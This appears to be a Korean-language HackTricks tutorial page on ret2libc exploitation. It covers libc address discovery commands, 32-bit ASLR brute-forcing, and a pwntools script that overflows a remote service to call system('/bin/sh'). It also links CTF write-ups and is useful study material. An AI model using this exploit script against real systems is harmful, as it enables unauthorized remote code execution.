Ret2lib

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

Ret2Libc์˜ ๋ณธ์งˆ์€ ์ทจ์•ฝํ•œ ํ”„๋กœ๊ทธ๋žจ์˜ ์‹คํ–‰ ํ๋ฆ„์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ์Šคํƒ์˜ ์‰˜์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋Œ€์‹  ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋‚ด์˜ ํ•จ์ˆ˜(์˜ˆ: system, execve, strcpy)๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์›ํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜๋กœ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์Šคํƒ์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉฐ, ํ˜ธ์ถœ ๊ทœ์•ฝ์— ๋”ฐ๋ผ ํ•„์š”ํ•œ ์ธ์ˆ˜๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •๋˜๋„๋ก ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ ๋‹จ๊ณ„ (๋‹จ์ˆœํ™”)

  • ํ˜ธ์ถœํ•  ํ•จ์ˆ˜์˜ ์ฃผ์†Œ(์˜ˆ: system)์™€ ํ˜ธ์ถœํ•  ๋ช…๋ น(์˜ˆ: /bin/sh)์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  • ์ฒซ ๋ฒˆ์งธ ์ธ์ˆ˜๋กœ ๋ช…๋ น ๋ฌธ์ž์—ด์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  ํ•จ์ˆ˜๋กœ์˜ ์‹คํ–‰ ํ๋ฆ„์„ ์ „๋‹ฌํ•˜๋Š” ROP ์ฒด์ธ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์†Œ ์ฐพ๊ธฐ

  • ํ˜„์žฌ ๋จธ์‹ ์—์„œ ์‚ฌ์šฉ๋˜๋Š” libc๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œ๋  ์œ„์น˜๋ฅผ ์ฐพ์œผ๋ ค๋ฉด:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLR์ด libc์˜ ์ฃผ์†Œ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • ์‚ฌ์šฉ๋œ libc๋ฅผ ์•Œ๋ฉด system ํ•จ์ˆ˜์˜ ์˜คํ”„์…‹์„ ์ฐพ๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • ์‚ฌ์šฉ๋œ libc๋ฅผ ์•Œ๋ฉด /bin/sh ํ•จ์ˆ˜์˜ ์˜คํ”„์…‹์„ ์ฐพ๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF ์‚ฌ์šฉํ•˜๊ธฐ

์‚ฌ์šฉ๋œ libc๋ฅผ ์•Œ๋ฉด, Peda ๋˜๋Š” GEF๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ system ํ•จ์ˆ˜, exit ํ•จ์ˆ˜ ๋ฐ ๋ฌธ์ž์—ด **/bin/sh**์˜ ์ฃผ์†Œ๋ฅผ ์–ป๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

p system
p exit
find "/bin/sh"

/proc/<PID>/maps ์‚ฌ์šฉํ•˜๊ธฐ

ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋Œ€ํ™”ํ•  ๋•Œ๋งˆ๋‹ค ์ž์‹ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒฝ์šฐ(๋„คํŠธ์›Œํฌ ์„œ๋ฒ„) ํ•ด๋‹น ํŒŒ์ผ์„ ์ฝ์–ด๋ณด์„ธ์š”(์•„๋งˆ๋„ root ๊ถŒํ•œ์ด ํ•„์š”ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค).

์—ฌ๊ธฐ์—์„œ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์— libc๊ฐ€ ๋กœ๋“œ๋œ ์ •ํ™•ํ•œ ์œ„์น˜์™€ ํ”„๋กœ์„ธ์Šค์˜ ๋ชจ๋“  ์ž์‹ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด ์–ด๋””์— ๋กœ๋“œ๋  ๊ฒƒ์ธ์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ 0xb75dc000์— ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค(์ด๊ฒƒ์ด libc์˜ ๊ธฐ๋ณธ ์ฃผ์†Œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค).

์•Œ ์ˆ˜ ์—†๋Š” libc

์ด์ง„ ํŒŒ์ผ์ด ๋กœ๋“œํ•˜๋Š” libc๋ฅผ ๋ชจ๋ฅผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค(์„œ๋ฒ„์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๊ณ  ์–ด๋–ค libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š”์ง€ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Leaking libc address with ROP

๊ทธ๋ฆฌ๊ณ  ์—ฌ๊ธฐ์—์„œ ์ด๋ฅผ ์œ„ํ•œ pwntools ํ…œํ”Œ๋ฆฟ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Leaking libc - template

2๊ฐœ์˜ ์˜คํ”„์…‹์œผ๋กœ libc ์•Œ๊ธฐ

ํŽ˜์ด์ง€ https://libc.blukat.me/๋ฅผ ํ™•์ธํ•˜๊ณ  libc ๋‚ด๋ถ€์˜ ํ•จ์ˆ˜ ์ฃผ์†Œ ๋ช‡ ๊ฐœ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ๋œ ๋ฒ„์ „์„ ์•Œ์•„๋‚ด์„ธ์š”.

32๋น„ํŠธ์—์„œ ASLR ์šฐํšŒํ•˜๊ธฐ

์ด๋Ÿฌํ•œ ๋ฌด์ž‘์œ„ ๋Œ€์ž… ๊ณต๊ฒฉ์€ 32๋น„ํŠธ ์‹œ์Šคํ…œ์—๋งŒ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

  • ์ต์Šคํ”Œ๋กœ์ž‡์ด ๋กœ์ปฌ์ธ ๊ฒฝ์šฐ, libc์˜ ๊ธฐ๋ณธ ์ฃผ์†Œ๋ฅผ ๋ฌด์ž‘์œ„ ๋Œ€์ž…ํ•˜์—ฌ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(32๋น„ํŠธ ์‹œ์Šคํ…œ์— ์œ ์šฉํ•จ):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • ์›๊ฒฉ ์„œ๋ฒ„๋ฅผ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒฝ์šฐ, usleep libc ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ brute-force ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ์˜ˆ๋ฅผ ๋“ค์–ด ์ธ์ˆ˜๋กœ 10์„ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์–ด๋А ์‹œ์ ์— ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•˜๋Š” ๋ฐ 10์ดˆ๊ฐ€ ์ถ”๊ฐ€๋กœ ๊ฑธ๋ฆฐ๋‹ค๋ฉด, ์ด ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ์€ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

One Gadget

libc์˜ ํ•˜๋‚˜์˜ ํŠน์ • ์ฃผ์†Œ๋กœ ์ ํ”„ํ•˜์—ฌ ์…ธ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

One Gadget

x86 Ret2lib ์ฝ”๋“œ ์˜ˆ์ œ

์ด ์˜ˆ์ œ์—์„œ๋Š” ASLR brute-force๊ฐ€ ์ฝ”๋“œ์— ํ†ตํ•ฉ๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ทจ์•ฝํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์›๊ฒฉ ์„œ๋ฒ„์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib ์ฝ”๋“œ ์˜ˆ์ œ

๋‹ค์Œ ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

ROP & JOP

ARM64 Ret2lib ์˜ˆ์ œ

ARM64์˜ ๊ฒฝ์šฐ, ret ๋ช…๋ น์–ด๋Š” x30 ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ์œผ๋กœ ์ ํ”„ํ•˜๋ฉฐ, ์Šคํƒ ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ์œผ๋กœ๋Š” ์ ํ”„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์กฐ๊ธˆ ๋” ๋ณต์žกํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ ARM64์—์„œ๋Š” ๋ช…๋ น์–ด๊ฐ€ ํ•˜๋Š” ๋Œ€๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค(๋ช…๋ น์–ด ์ค‘๊ฐ„์— ์ ํ”„ํ•˜์—ฌ ์ƒˆ๋กœ์šด ๋ช…๋ น์–ด๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค).

๋‹ค์Œ ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Ret2lib + Printf leak - arm64

Ret-into-printf (๋˜๋Š” puts)

์ด๊ฒƒ์€ printf/puts๋ฅผ ํŠน์ • ๋ฐ์ดํ„ฐ์™€ ํ•จ๊ป˜ ์ธ์ˆ˜๋กœ ํ˜ธ์ถœํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค์—์„œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, puts์˜ GOT ์ฃผ์†Œ๋ฅผ puts ์‹คํ–‰์— ๋„ฃ์œผ๋ฉด ๋ฉ”๋ชจ๋ฆฌ์—์„œ puts์˜ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Ret2printf

์ด๊ฒƒ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ Ret2lib๋ฅผ ์•…์šฉํ•˜์—ฌ printf ํ˜•์‹ ๋ฌธ์ž์—ด ์ทจ์•ฝ์ ์œผ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ret2lib๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ printf๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์ด๋ฅผ ์•…์šฉํ•  ๊ฐ’์„ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค(์“ธ๋ชจ์—†์–ด ๋ณด์ด์ง€๋งŒ ๊ฐ€๋Šฅํ•จ):

Format Strings

๊ธฐํƒ€ ์˜ˆ์ œ ๋ฐ ์ฐธ์กฐ

  • https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
  • Ret2lib, libc์˜ ํ•จ์ˆ˜ ์ฃผ์†Œ์— ๋Œ€ํ•œ ์œ ์ถœ์„ ์ œ๊ณตํ•˜๋ฉฐ, one gadget ์‚ฌ์šฉ
  • https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  • 64๋น„ํŠธ, ASLR ํ™œ์„ฑํ™”, PIE ์—†์Œ, ์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” canary์˜ ๋ฐ”์ดํŠธ 0x00๊นŒ์ง€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์ฑ„์šด ๋‹ค์Œ puts๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์œ ์ถœํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. canary๋กœ ROP ๊ฐ€์ ฏ์„ ์ƒ์„ฑํ•˜์—ฌ GOT์—์„œ puts์˜ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๊ณ  system('/bin/sh')๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ROP ๊ฐ€์ ฏ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  • 64๋น„ํŠธ, ASLR ํ™œ์„ฑํ™”, canary ์—†์Œ, ์ž์‹ ํ•จ์ˆ˜์—์„œ main์˜ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ. GOT์—์„œ puts์˜ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๊ธฐ ์œ„ํ•ด puts๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ROP ๊ฐ€์ ฏ๊ณผ ๊ทธ ๋‹ค์Œ์— one gadget์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
  • 64๋น„ํŠธ, PIE ์—†์Œ, canary ์—†์Œ, relro ์—†์Œ, nx. write ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ write(libc)์˜ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๊ณ  one gadget์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
  • ํ˜•์‹ ๋ฌธ์ž์—ด์„ ์‚ฌ์šฉํ•˜์—ฌ ์Šคํƒ์—์„œ canary๋ฅผ ์œ ์ถœํ•˜๊ณ , /bin/sh์˜ ์ฃผ์†Œ๋กœ system์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค(์ฃผ์†Œ๋Š” GOT์— ์žˆ์Œ).
  • https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
  • 32๋น„ํŠธ, relro ์—†์Œ, canary ์—†์Œ, nx, pie. ์ž˜๋ชป๋œ ์ธ๋ฑ์‹ฑ์„ ์•…์šฉํ•˜์—ฌ ์Šคํƒ์—์„œ libc์™€ ํž™์˜ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์•…์šฉํ•˜์—ฌ system('/bin/sh')๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ret2lib๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค(ํž™ ์ฃผ์†Œ๋Š” ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ํ•„์š”ํ•จ).

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ